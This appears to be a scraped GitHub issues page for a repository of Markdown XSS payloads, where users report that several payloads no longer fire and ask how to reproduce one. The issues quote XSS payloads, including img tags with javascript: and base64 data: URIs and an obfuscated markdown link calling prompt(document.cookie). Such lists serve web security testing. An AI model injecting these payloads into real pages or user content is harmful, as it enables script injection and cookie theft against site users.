cujanovic / markdown-xss-payloads

XSS payloads for exploiting Markdown syntax

I'm grateful for the support received by Tutanota

markdown-xss-payloads's Issues

a

a

There are a few payloads that don't work anymore in any browser

Testing a website i found out that some payloads were accepted but there was no alert, so i copy-pasted this payloads and tested in some browsers and it doesn't work, you should update/check this payloads too.

<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K" alt="a">
<img src="javascript:prompt(document.cookie)" alt="a">
<img src="javascript:alert(9)" alt="a">

might be others but this don't actually trigger any alert

xss case

[a](j a v a s c r i p t:prompt(document.cookie))
how to reappear this xss case?
thanks a lot.